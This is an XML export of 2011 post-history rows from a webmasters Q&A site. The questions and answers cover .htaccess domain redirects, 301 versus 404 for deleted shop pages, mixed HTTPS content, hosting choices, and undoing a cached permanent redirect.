  <row Id="19666" PostHistoryTypeId="2" PostId="8999" RevisionGUID="c9f7f3af-fd1c-426c-98dc-9b9e8c2a3d36" CreationDate="2011-02-10T19:24:20.347" UserDisplayName="Emmanuel" Text="Try this in your .htaccess&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.olddomain.com$[OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^olddomain.com$&#xD;&#xA;    RewriteRule ^(.*)$ http://www.newdomain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;If it's not keeping the query string, try changing the last line of the code above to&#xD;&#xA;&#xD;&#xA;    RewriteRule / http://www.newdomain.com/?%{QUERY_STRING} [R=301,L]" />
  <row Id="19667" PostHistoryTypeId="2" PostId="9000" RevisionGUID="fb3e42ef-360d-40d2-80ba-c7db12dcff9e" CreationDate="2011-02-10T19:28:18.203" UserDisplayName="sgb" Text="Assuming mod_rewrite is enabled on your server, you would want to put something like:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.my-website\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.destination-website.com/$1 [QSA,L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;This will redirect any requests to www.my-website.com to www.destination-website.com. The [NC] tells Apache to operate in case insensitive mode and the [QSA,L] tells it to maintain any querystring parameters and that no other rules should be followed. More information can be found on [Apache's website][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/current/mod/mod_rewrite.html" />
  <row Id="19668" PostHistoryTypeId="2" PostId="8997" RevisionGUID="516b80e5-b5fb-45f8-8f2a-93247419ff12" CreationDate="2011-02-10T19:17:11.707" UserDisplayName="user473056" Text="I'm trying to set up my .htaccess file to take the displayed link and route it to the destination link as below&#xD;&#xA;&#xD;&#xA;Displayed Link&#xD;&#xA;http://www.my-website.com/click-4559226-10388358?url=https%3A%2F%2Fdestination-website2.com%2FItem.php%3Fid%3D44350396%26sld%3DA6D7A632-821E-4b78-ACD0-147658B77BD6&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Destination Link&#xD;&#xA;http://www.destination-website.com/click-4559226-10388358?url=https%3A%2F%2Fdestination-website2.com%2FItem.php%3Fid%3D44350396%26sld%3DA6D7A632-821E-4b78-ACD0-147658B77BD6&#xD;&#xA;&#xD;&#xA;Effectively, all that changes is the first url (http://www.my-website.com) everything after that is the same.&#xD;&#xA;&#xD;&#xA;Is this possible and could someone briefly explain how I would go about it?&#xD;&#xA;&#xD;&#xA;*** Just to be clear, I dont want to redirect everything from my-webiste.com. Just links that start http://www.my-website.com/click-4559226-10388358" />
  <row Id="19669" PostHistoryTypeId="1" PostId="8997" RevisionGUID="516b80e5-b5fb-45f8-8f2a-93247419ff12" CreationDate="2011-02-10T19:17:11.707" UserDisplayName="user473056" Text=".htaccess redirect question" />
  <row Id="19670" PostHistoryTypeId="3" PostId="8997" RevisionGUID="516b80e5-b5fb-45f8-8f2a-93247419ff12" CreationDate="2011-02-10T19:17:11.707" UserDisplayName="user473056" Text="&lt;htaccess&gt;" />
  <row Id="19671" PostHistoryTypeId="17" PostId="8997" RevisionGUID="63c7fd4a-bce6-4388-ab78-70420a3cee07" CreationDate="2011-02-10T19:32:36.107" UserId="-1" Comment="from http://stackoverflow.com/questions/4961565/htaccess-redirect-question" Text="" />
  <row Id="19672" PostHistoryTypeId="2" PostId="9001" RevisionGUID="98bca5e1-7ee7-4c2e-934a-3b4d71873234" CreationDate="2011-02-10T19:33:45.910" UserId="1893" Text="I have an online shop, now I got some products &lt;br&gt;&#xD;&#xA;that I want to delete, however I am aware that some &lt;br&gt;&#xD;&#xA;of them are indexed and/or marked as bookmarks for some people. &lt;br&gt;&#xD;&#xA;&#xD;&#xA;Now I was wondering, what would be the best practice &lt;br&gt;&#xD;&#xA;SEO-wise, to do a 301 redirect to the main page if anyone &lt;br&gt;&#xD;&#xA;try to access those pages, or a 404 and display something like &lt;br&gt;&#xD;&#xA;&quot;Page not Found&quot; ?&#xD;&#xA;&#xD;&#xA;Perhaps something completely else..?" />
  <row Id="19673" PostHistoryTypeId="1" PostId="9001" RevisionGUID="98bca5e1-7ee7-4c2e-934a-3b4d71873234" CreationDate="2011-02-10T19:33:45.910" UserId="1893" Text="Redirecting none existing pages to the main page?" />
  <row Id="19674" PostHistoryTypeId="3" PostId="9001" RevisionGUID="98bca5e1-7ee7-4c2e-934a-3b4d71873234" CreationDate="2011-02-10T19:33:45.910" UserId="1893" Text="&lt;seo&gt;&lt;404&gt;" />
  <row Id="19675" PostHistoryTypeId="5" PostId="8999" RevisionGUID="b90e4ec6-ad65-402c-baa3-7e634d72b4e9" CreationDate="2011-02-10T19:35:52.990" UserId="5322" Comment="added 237 characters in body; added 44 characters in body" Text="Try this in your .htaccess&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.olddomain.com$[OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^olddomain.com$&#xD;&#xA;    RewriteRule ^(.*)$ http://www.newdomain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;If it's not keeping the query string, try changing the last line of the code above to&#xD;&#xA;&#xD;&#xA;    RewriteRule / http://www.newdomain.com/?%{QUERY_STRING} [R=301,L]&#xD;&#xA;&#xD;&#xA;**edit:**&#xD;&#xA;&#xD;&#xA;If you only want to limit the rule to http://www.my-website.com/click-4559226-10388358, then try changing the last line of the code above to this:&#xD;&#xA;&#xD;&#xA;        RewriteRule ^click\-([0-9]+)\-([0-9]+)$ http://www.newdomain.com/click-$1-$2?%{QUERY_STRING} [R=301,L]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19676" PostHistoryTypeId="5" PostId="9001" RevisionGUID="10237eb1-901e-4ea2-a0ae-905e0c6df9f9" CreationDate="2011-02-10T19:35:57.027" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [SEO: ecommerce item deleted by user, 301 rediret to HOME PAGE or 404 not found?](http://webmasters.stackexchange.com/questions/5392/seo-ecommerce-item-deleted-by-user-301-rediret-to-home-page-or-404-not-found)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello, &lt;br&gt;&#xD;&#xA;I have an online shop, now I got some products &lt;br&gt;&#xD;&#xA;that I want to delete, however I am aware that some &lt;br&gt;&#xD;&#xA;of them are indexed and/or marked as bookmarks for some people. &lt;br&gt;&#xD;&#xA;&#xD;&#xA;Now I was wondering, what would be the best practice &lt;br&gt;&#xD;&#xA;SEO-wise, to do a 301 redirect to the main page if anyone &lt;br&gt;&#xD;&#xA;try to access those pages, or a 404 and display something like &lt;br&gt;&#xD;&#xA;&quot;Page not Found&quot; ?&#xD;&#xA;&#xD;&#xA;Perhaps something completely else..?" />
  <row Id="19677" PostHistoryTypeId="10" PostId="9001" RevisionGUID="49fbe900-cb6c-4e21-8637-b59a1ea7a4e7" CreationDate="2011-02-10T19:35:56.870" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19678" PostHistoryTypeId="2" PostId="9002" RevisionGUID="238e94bb-e639-4e40-9a04-93c7bb291475" CreationDate="2011-02-10T19:42:59.517" UserId="3620" Text="Is anybody aware of a jQuery Pro Rata Wheel?  I checked the usual places but couldn't find anything.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="19679" PostHistoryTypeId="1" PostId="9002" RevisionGUID="238e94bb-e639-4e40-9a04-93c7bb291475" CreationDate="2011-02-10T19:42:59.517" UserId="3620" Text="Need jQuery Pro Rata Wheel" />
  <row Id="19680" PostHistoryTypeId="3" PostId="9002" RevisionGUID="238e94bb-e639-4e40-9a04-93c7bb291475" CreationDate="2011-02-10T19:42:59.517" UserId="3620" Text="&lt;jquery&gt;" />
  <row Id="19681" PostHistoryTypeId="2" PostId="9003" RevisionGUID="384382f7-d071-44f0-b14c-e6d6ef6ab500" CreationDate="2011-02-10T18:56:53.157" UserDisplayName="mcgyver5" Text="we are using the google search appliance in our web app.  It is used by several other parts of our organization but we are using it on a web app that uses https.  So, we followed google's instructions to get all the google code via https so that users don't get the annoying &quot;This page contains both secure and insecure items&quot; popup.  Most of the google code has behaved and come to us as https, but there is a part of it pulling from http://www.google.com/cse &#xD;&#xA;full URL = &#xD;&#xA;&#xD;&#xA;    http://www.google.com/cse?q=searchTerma&amp;cx=001025153263958516519%3Aj2323tveixc&amp;cof=FORID%3A11%3BNB%3A1&amp;ie...&#xD;&#xA;&#xD;&#xA; that causes the insecure items warning to popup.  &#xD;&#xA;This popup occurs in the results page and the above URL is the only non-secure request I can find.&#xD;&#xA;" />
  <row Id="19682" PostHistoryTypeId="1" PostId="9003" RevisionGUID="384382f7-d071-44f0-b14c-e6d6ef6ab500" CreationDate="2011-02-10T18:56:53.157" UserDisplayName="mcgyver5" Text="part of google search appliance drawing from http instead of https" />
  <row Id="19683" PostHistoryTypeId="3" PostId="9003" RevisionGUID="384382f7-d071-44f0-b14c-e6d6ef6ab500" CreationDate="2011-02-10T18:56:53.157" UserDisplayName="mcgyver5" Text="&lt;google&gt;&lt;google-apps&gt;" />
  <row Id="19684" PostHistoryTypeId="17" PostId="9003" RevisionGUID="f16f128f-f8ff-4538-b4d5-8c9590b49a14" CreationDate="2011-02-10T19:48:01.203" UserId="-1" Comment="from http://superuser.com/questions/244160/part-of-google-search-appliance-drawing-from-http-instead-of-https" Text="" />
  <row Id="19685" PostHistoryTypeId="2" PostId="9004" RevisionGUID="04f0e6d1-4884-438e-ad13-3d98c0f4f226" CreationDate="2011-02-10T19:59:44.530" UserId="4857" Text="I've never had any problems with it, and I've used it on a few sites before. So I'd say yeah, it's pretty reliable. " />
  <row Id="19686" PostHistoryTypeId="2" PostId="9005" RevisionGUID="f5012a16-36c4-464b-93e9-2295b6dcb661" CreationDate="2011-02-10T20:10:05.763" UserId="5321" Text="I am interested in having the option to be able to subscribe to any of my RSS feeds by email, without having to manage any of the email lists. &#xD;&#xA;&#xD;&#xA;Are there any email delivery services that allow easy subscription to arbitrary feeds? [MailChimp's api doesn't allow list creation][1].&#xD;&#xA;&#xD;&#xA;The closest I can come up with is linking people to a google alert:&#xD;&#xA;&#xD;&#xA;    http://www.google.com/alerts?q=site:mysite.com/category/food&#xD;&#xA;    http://www.google.com/alerts?q=site:mysite.com/category/drinks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getsatisfaction.com/mailchimp/topics/mailchimp_api_doesnt_allow_list_creation" />
  <row Id="19687" PostHistoryTypeId="1" PostId="9005" RevisionGUID="f5012a16-36c4-464b-93e9-2295b6dcb661" CreationDate="2011-02-10T20:10:05.763" UserId="5321" Text="How to support email subscriptions to many rss feeds" />
  <row Id="19688" PostHistoryTypeId="3" PostId="9005" RevisionGUID="f5012a16-36c4-464b-93e9-2295b6dcb661" CreationDate="2011-02-10T20:10:05.763" UserId="5321" Text="&lt;email&gt;&lt;rss&gt;" />
  <row Id="19689" PostHistoryTypeId="2" PostId="9006" RevisionGUID="745898c1-f23a-4f6a-bb3d-8869688ce1b1" CreationDate="2011-02-10T20:22:16.253" UserDisplayName="user5324" Text="I work with Greenstone. What do you need?.&#xD;&#xA;You can see some of the sites we developed here:&#xD;&#xA;&#xD;&#xA;http://bibliotecadigital.innovacionagraria.cl/gsdl/cgi-bin/library.exe?l=es&#xD;&#xA;&#xD;&#xA;http://bibliotecadigital.ciren.cl/gsdlexterna/cgi-bin/library.exe&#xD;&#xA;&#xD;&#xA;Diego Spano&#xD;&#xA;Prodigio Consultores&#xD;&#xA;Capital Federal - Argentina&#xD;&#xA;Tel: (54 11) 5093-5313&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19690" PostHistoryTypeId="25" PostId="9005" RevisionGUID="f93568a6-f729-43c5-889f-ff094b1edd0e" CreationDate="2011-02-10T20:22:17.867" Comment="http://twitter.com/#!/StackWebmasters/status/35795712713306113" />
  <row Id="19695" PostHistoryTypeId="2" PostId="9008" RevisionGUID="a50e3d9b-9606-4f95-9164-f8d693d99eff" CreationDate="2011-02-10T20:55:04.517" UserId="4595" Text="I'm not sure if I understood you correctly, but I assume you want people to be able to subscribe to your RSS via email?&#xD;&#xA;&#xD;&#xA;If so, check out [Feedburner][1]. They have email subscription support that I have been using for many of my blogs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://feedburner.google.com/" />
  <row Id="19696" PostHistoryTypeId="2" PostId="9009" RevisionGUID="fa1f559f-c6e8-48a1-8e74-28d9ccc2cf1f" CreationDate="2011-02-10T21:15:57.260" UserId="5326" Text="Drupal is the best all-in-on solution hands down. That said, I'd personally go with simpler tools that are good at a single task, e.g. [WordPress][1] for a blog (and/or CMS), [Vanilla][2] for forums.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/&#xD;&#xA;  [2]: http://vanillaforums.org/" />
  <row Id="19697" PostHistoryTypeId="2" PostId="9010" RevisionGUID="29b03b98-a263-4010-95e4-a8aea2bf8a57" CreationDate="2011-02-10T23:04:44.407" UserId="4945" Text="I am frustrated to no end with my current hosting provider, mediaTemple. Yes, they are flashy, and have some decent degree of flexibility with their GS plan, which I have. But anytime I install a site that needs a database, it is slow. like really slow. Taking anywhere from 10 - 15 seconds just to load a page.&#xD;&#xA;&#xD;&#xA;I would host in house, but there are a lot of complications that come with a LAMP server that I don't want to deal with. Honestly, I'd rather spend the time developing. &#xD;&#xA;&#xD;&#xA;What can you recommend?" />
  <row Id="19698" PostHistoryTypeId="1" PostId="9010" RevisionGUID="29b03b98-a263-4010-95e4-a8aea2bf8a57" CreationDate="2011-02-10T23:04:44.407" UserId="4945" Text="Recommend hosting with fast MySQL database please. " />
  <row Id="19699" PostHistoryTypeId="3" PostId="9010" RevisionGUID="29b03b98-a263-4010-95e4-a8aea2bf8a57" CreationDate="2011-02-10T23:04:44.407" UserId="4945" Text="&lt;web-hosting&gt;&lt;mysql&gt;&lt;recommendations&gt;" />
  <row Id="19700" PostHistoryTypeId="2" PostId="9011" RevisionGUID="2b95c0f6-cc80-4cd8-b9c8-bd4f47c08cca" CreationDate="2011-02-10T23:05:13.793" UserDisplayName="user5327" Text="and thanks for your time to answer. really appreciate that!&#xD;&#xA;&#xD;&#xA;my domain url is keyword stuffed (homes for sale and the city name).&#xD;&#xA;&#xD;&#xA;does it make a difference if I foward that to my ning site,&#xD;&#xA;which is www.homesforsale(in city name).ning.com&#xD;&#xA;or&#xD;&#xA;is it just the same for SEO / pagerank value&#xD;&#xA;as paying ning for the proper url mapping.&#xD;&#xA;&#xD;&#xA;thanks so much!" />
  <row Id="19701" PostHistoryTypeId="1" PostId="9011" RevisionGUID="2b95c0f6-cc80-4cd8-b9c8-bd4f47c08cca" CreationDate="2011-02-10T23:05:13.793" UserDisplayName="user5327" Text="forwarding my domain to ning site, vs paying for mapping. SEO value?" />
  <row Id="19702" PostHistoryTypeId="3" PostId="9011" RevisionGUID="2b95c0f6-cc80-4cd8-b9c8-bd4f47c08cca" CreationDate="2011-02-10T23:05:13.793" UserDisplayName="user5327" Text="&lt;seo&gt;&lt;domains&gt;" />
  <row Id="19703" PostHistoryTypeId="2" PostId="9012" RevisionGUID="8538ed58-8627-4fa5-8a07-4fce1a88e9a0" CreationDate="2011-02-10T23:03:52.973" UserDisplayName="Cas Sakal" Text="Is there any web site that you can recommend in which I can find premium (beautiful looking and professional) web site designs(themes) specific for mobile web sites? (paid or free)" />
  <row Id="19704" PostHistoryTypeId="1" PostId="9012" RevisionGUID="8538ed58-8627-4fa5-8a07-4fce1a88e9a0" CreationDate="2011-02-10T23:03:52.973" UserDisplayName="Cas Sakal" Text="Mobile Web Site Templates" />
  <row Id="19705" PostHistoryTypeId="3" PostId="9012" RevisionGUID="8538ed58-8627-4fa5-8a07-4fce1a88e9a0" CreationDate="2011-02-10T23:03:52.973" UserDisplayName="Cas Sakal" Text="&lt;html&gt;&lt;css&gt;&lt;mobile&gt;&lt;web-design&gt;" />
  <row Id="19706" PostHistoryTypeId="17" PostId="9012" RevisionGUID="8c9858c6-3b69-4e92-aa32-51a65266f54d" CreationDate="2011-02-10T23:08:52.003" UserId="-1" Comment="from http://stackoverflow.com/questions/4963741/mobile-web-site-templates" Text="" />
  <row Id="19707" PostHistoryTypeId="5" PostId="9011" RevisionGUID="c529bcaa-3db3-4240-8277-06890312a261" CreationDate="2011-02-10T23:10:32.043" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Could I buy a domain name to increase traffic to my site like this?](http://webmasters.stackexchange.com/questions/3777/could-i-buy-a-domain-name-to-increase-traffic-to-my-site-like-this)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;hello, and thanks for your time to answer. really appreciate that!&#xD;&#xA;&#xD;&#xA;my domain url is keyword stuffed (homes for sale and the city name).&#xD;&#xA;&#xD;&#xA;does it make a difference if I foward that to my ning site,&#xD;&#xA;which is www.homesforsale(in city name).ning.com&#xD;&#xA;or&#xD;&#xA;is it just the same for SEO / pagerank value&#xD;&#xA;as paying ning for the proper url mapping.&#xD;&#xA;&#xD;&#xA;thanks so much!" />
  <row Id="19708" PostHistoryTypeId="10" PostId="9011" RevisionGUID="7ef97c10-6fbd-48f5-bfb3-88976e8f5d1b" CreationDate="2011-02-10T23:10:31.903" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19709" PostHistoryTypeId="2" PostId="9013" RevisionGUID="ac7db577-2319-4633-a0b2-4b6164ec3e37" CreationDate="2011-02-10T23:14:56.397" UserId="4471" Text="I am looking for a customer service solution. Managed. Paying is not a problem.&#xD;&#xA;&#xD;&#xA;I like these two solution, and look the same to me:&#xD;&#xA;&#xD;&#xA;http://support.mongohq.com/&#xD;&#xA;&#xD;&#xA;http://support.github.com/&#xD;&#xA;&#xD;&#xA;Do you know what are they using?&#xD;&#xA;&#xD;&#xA;Can you provide a different and better alternative?&#xD;&#xA;" />
  <row Id="19710" PostHistoryTypeId="1" PostId="9013" RevisionGUID="ac7db577-2319-4633-a0b2-4b6164ec3e37" CreationDate="2011-02-10T23:14:56.397" UserId="4471" Text="Suggest me a great customer support web application. Like Github support." />
  <row Id="19711" PostHistoryTypeId="3" PostId="9013" RevisionGUID="ac7db577-2319-4633-a0b2-4b6164ec3e37" CreationDate="2011-02-10T23:14:56.397" UserId="4471" Text="&lt;customer-service&gt;" />
  <row Id="19712" PostHistoryTypeId="25" PostId="9010" RevisionGUID="0d4b6b05-581d-4c47-952e-e6bb922fc806" CreationDate="2011-02-10T23:22:17.803" Comment="http://twitter.com/#!/StackWebmasters/status/35841010458169345" />
  <row Id="19713" PostHistoryTypeId="2" PostId="9014" RevisionGUID="d6707479-160f-41c6-bc46-efdfc4602273" CreationDate="2011-02-11T02:03:35.467" UserDisplayName="user5213" Text="You can do that with Featured Results feature that comes with SearchBlox which is a free search engine for websites. http://www.searchblox.com/monetizing-your-vertical-search-engine-with-advertising" />
  <row Id="19714" PostHistoryTypeId="25" PostId="9012" RevisionGUID="f27adcfb-4ad6-489b-9b8e-17d33a6a4ec3" CreationDate="2011-02-11T02:22:17.620" Comment="http://twitter.com/#!/StackWebmasters/status/35886309323046912" />
  <row Id="19715" PostHistoryTypeId="2" PostId="9015" RevisionGUID="f84b49e1-f234-4974-ad9c-ab739baaca63" CreationDate="2011-02-11T04:07:01.113" UserId="4803" Text="You're load times might come from your bandwidth allowance.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://hostmonster.com/&quot;&gt;Host Monster&lt;/a&gt;&lt;br&gt;&#xD;&#xA;&lt;a href=&quot;http://webfaction.com/&quot;&gt;Web Faction&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I've used Host Monster for all of my projects. It has a huge bandwidth allowance including up to 5 Tb of storage, and it's pretty cheap." />
  <row Id="19716" PostHistoryTypeId="25" PostId="8963" RevisionGUID="26977652-b875-44bd-a360-947499045a46" CreationDate="2011-02-11T05:22:17.927" Comment="http://twitter.com/#!/StackWebmasters/status/35931609114877952" />
  <row Id="19726" PostHistoryTypeId="5" PostId="8821" RevisionGUID="9d3484a8-8ee1-46e9-80f6-76f477424f5c" CreationDate="2011-02-11T07:47:06.557" UserId="5221" Comment="added 224 characters in body" Text="Is it possible to integrate any kind of Lightbox with SimpleViewer? But I **don't want** to display SimpleViewer in Lightbox. I want to Lightbox show when I click on one of the images in SimpleViewer.&#xD;&#xA;&#xD;&#xA;Does anyone tried that with success?&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;I have a SimpleViewer page now. I just want to bind handler to clicking an image (as normally in HTML based pages), fetch big image url and show that image (not SimpleViewer!) in Ligthbox/ThickBox/FancyBox etc." />
  <row Id="19731" PostHistoryTypeId="2" PostId="9020" RevisionGUID="b5661ca7-b24c-477c-b41c-0ef5613f42c5" CreationDate="2011-02-11T08:27:28.920" UserId="5024" Text="If you're using WordPress, wptouch is awesome. See: https://www.bravenewcode.com/store/plugins/wptouch-pro/&#xD;&#xA;&#xD;&#xA;Other than that, there are a lot of really good development frameworks emerging for mobile applications; two good ones are cssgrid (Fluid-width http://cssgrid.net/) and Less Framework (http://lessframework.com/)." />
  <row Id="19732" PostHistoryTypeId="2" PostId="9021" RevisionGUID="fefbb16c-571b-4de3-b5f9-fd02dae186b4" CreationDate="2011-02-11T08:30:51.790" UserId="5024" Text="I've built quite a number of communities using BuddyPress, which not only allows extra custom fields during WordPress registration, but also gives your site a very high degree of social media functionality -- everything from walls and Twitter-style @user messaging to forums, wikis and image galleries. Plus there are a lot of themes and plugins for it, and an excellent support community.&#xD;&#xA;&#xD;&#xA;http://buddypress.org" />
  <row Id="19737" PostHistoryTypeId="2" PostId="9023" RevisionGUID="b0d7f66a-1508-4499-8c1d-51e5958bd7c6" CreationDate="2011-02-11T08:16:21.537" UserDisplayName="Dees" Text="Oh Noes!&#xD;&#xA;&#xD;&#xA;I've been parking a domain name for a friend/client of mine on my hosting provider (Dreamhost, FWIW) for a while, and they eventually asked me to redirect their domain to a 3rd party website which is currently featuring some relevant promotional content. Once this period ends, we will probably go ahead and set up a proper website for the domain on my hosting account. I used Dreamhost's &quot;redirect&quot; hosting option in their domain configuration panel, not realizing that it would implement a 301 Permanent redirect, or what the implications were.&#xD;&#xA;&#xD;&#xA;Now it seems that for any client that has visited the site anytime recently, the 301 redirect is still cached/in effect, although I have changed the domain settings back to regular Dreamhost full site hosting. It seems that the only thing that can be done is to wait out the TTL/cache expiration for the redirect. I have no idea how long that might be, so I'm wondering if there is any good way to cache-bust the redirect or otherwise undo its long-term effects. I put a simple html meta refresh in the domain folder to replace the 301 to keep the intended functionality in place, but I'm still not able to access the domain's other content normally, even via FTP, etc.&#xD;&#xA;&#xD;&#xA;Isn't there anything I can do? Otherwise, how long does it take for a cached redirect to expire? It's gonna be a bummer if it's _really_ permanent." />
  <row Id="19738" PostHistoryTypeId="1" PostId="9023" RevisionGUID="b0d7f66a-1508-4499-8c1d-51e5958bd7c6" CreationDate="2011-02-11T08:16:21.537" UserDisplayName="Dees" Text="I used a 301 Permanent Redirect to a 3rd party site by mistake! Can I stop the redirection?" />
  <row Id="19739" PostHistoryTypeId="3" PostId="9023" RevisionGUID="b0d7f66a-1508-4499-8c1d-51e5958bd7c6" CreationDate="2011-02-11T08:16:21.537" UserDisplayName="Dees" Text="&lt;http&gt;&lt;redirects&gt;" />
  <row Id="19740" PostHistoryTypeId="17" PostId="9023" RevisionGUID="2c282d31-394b-4ca1-acff-3a2ffdabf228" CreationDate="2011-02-11T10:18:36.240" UserId="-1" Comment="from http://stackoverflow.com/questions/4966875/i-used-a-301-permanent-redirect-to-a-3rd-party-site-by-mistake-can-i-stop-the-re" Text="" />
  <row Id="19741" PostHistoryTypeId="2" PostId="9024" RevisionGUID="9c567b7d-a7e1-4db9-9b5e-5906c7f11510" CreationDate="2011-02-11T10:55:07.233" UserId="4502" Text="I think you're basically waiting out the visitors' individual browser caches. You've done what you can. Also seems not every browser necessarily does this, for whatever it's worth. Here's a &lt;a href=&quot;http://stackoverflow.com/questions/2666089/client-web-browser-behavior-when-handling-301-redirect&quot;&gt;related SO thread&lt;/a&gt; with some info." />
  <row Id="19743" PostHistoryTypeId="2" PostId="9026" RevisionGUID="25410264-8a11-4d9d-9ee2-ee3bb0eb6e43" CreationDate="2011-02-11T11:17:21.100" UserId="5337" Text="I have a blog being served by a machine I have at home. Since the ip can change i set up a dyndns domain to always point to that machine. However, I purchased a more friendly domain (at godaddy.com) and I would like to forward it to that blog. The problem is that if I simply forward it the users will see the dyndns domain in the address bar and could potentially bookmark those urls and that's a problem. &#xD;&#xA;&#xD;&#xA;I noticed that godaddy.com  has domain masking and although it does hide the dyndns domain in the address bar, it also keeps the same root address in the address bar even if I navigate to another page. I also have the feeling that search engines will not like this domain masking thing.&#xD;&#xA;&#xD;&#xA;Does anyone know how can I accomplish what I want?" />
  <row Id="19744" PostHistoryTypeId="1" PostId="9026" RevisionGUID="25410264-8a11-4d9d-9ee2-ee3bb0eb6e43" CreationDate="2011-02-11T11:17:21.100" UserId="5337" Text="Domain forwarding with url substitution in the address bar" />
  <row Id="19745" PostHistoryTypeId="3" PostId="9026" RevisionGUID="25410264-8a11-4d9d-9ee2-ee3bb0eb6e43" CreationDate="2011-02-11T11:17:21.100" UserId="5337" Text="&lt;domains&gt;&lt;url-rewriting&gt;&lt;masking&gt;" />
  <row Id="19752" PostHistoryTypeId="2" PostId="9029" RevisionGUID="facb925f-f43d-433f-9514-76592e5505f7" CreationDate="2011-02-11T12:38:32.670" UserId="1089" Text="What tools, free or otherwise do you use to &#xD;&#xA;&#xD;&#xA;Link checking, analytics, web stats, page validation?&#xD;&#xA;&#xD;&#xA;Personally I use: [webmasters tools][1], [google analytics][2], [AWstats][3]&#xD;&#xA;&#xD;&#xA;I'm looking for anything (free or paid) which maybe hovering under my radar which could be of use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://www.google.com/analytics/&#xD;&#xA;  [3]: http://awstats.sourceforge.net" />
  <row Id="19753" PostHistoryTypeId="1" PostId="9029" RevisionGUID="facb925f-f43d-433f-9514-76592e5505f7" CreationDate="2011-02-11T12:38:32.670" UserId="1089" Text="What is your toolset?" />
  <row Id="19754" PostHistoryTypeId="3" PostId="9029" RevisionGUID="facb925f-f43d-433f-9514-76592e5505f7" CreationDate="2011-02-11T12:38:32.670" UserId="1089" Text="&lt;tools&gt;" />
  <row Id="19755" PostHistoryTypeId="16" PostId="9029" RevisionGUID="8b4ad839-c1ea-4b5b-b99d-22c6fc7d2d06" CreationDate="2011-02-11T12:43:09.133" UserId="1253" />
  <row Id="19764" PostHistoryTypeId="2" PostId="9030" RevisionGUID="728c1a53-dbb8-43bf-9998-ad4fd611c987" CreationDate="2011-02-11T12:54:48.563" UserId="4643" Text="Has anybody encountered the situation when the same user from the same session ID and the same browser  requested 2 different scripts on the same webserver inside the duration of 30 sec  from two different IP addresses thorugh HTTPS?  &#xD;&#xA;&#xD;&#xA;Is it viable/normal situation?  " />
  <row Id="19765" PostHistoryTypeId="1" PostId="9030" RevisionGUID="728c1a53-dbb8-43bf-9998-ad4fd611c987" CreationDate="2011-02-11T12:54:48.563" UserId="4643" Text="the same user from different IP-addresses?" />
  <row Id="19766" PostHistoryTypeId="3" PostId="9030" RevisionGUID="728c1a53-dbb8-43bf-9998-ad4fd611c987" CreationDate="2011-02-11T12:54:48.563" UserId="4643" Text="&lt;websites&gt;&lt;ssl&gt;&lt;web-security&gt;&lt;webserver&gt;" />
  <row Id="19767" PostHistoryTypeId="2" PostId="9031" RevisionGUID="ca2c8a39-bbda-4d88-a35e-a76b746161b8" CreationDate="2011-02-11T12:55:52.430" UserId="1253" Text="If you're using dynamic DNS for your webserver you won't be able to do this is a search engine friendly way. You either have to accept the one domain in the address bar, which means a frame is used and frames are not search engine friendly, or have them see the dynamic domain in the address bar. If you want to use your own domain name with real URLs get a static IP address or host it on a remote webserver." />
  <row Id="19768" PostHistoryTypeId="2" PostId="9032" RevisionGUID="8b68d8e0-8ca7-49cc-b0c1-89c99ac30247" CreationDate="2011-02-11T12:59:27.280" UserId="1253" Text="Yes, it's normal. ISPs, particularly AOL and mobile providers, can route traffic through different proxies which will change the IP address of a user as they surf the web. Users using a proxy server can also experience this. This is why depending on a static IP address from a user during a session is not recommended for any kind of identification system on a website." />
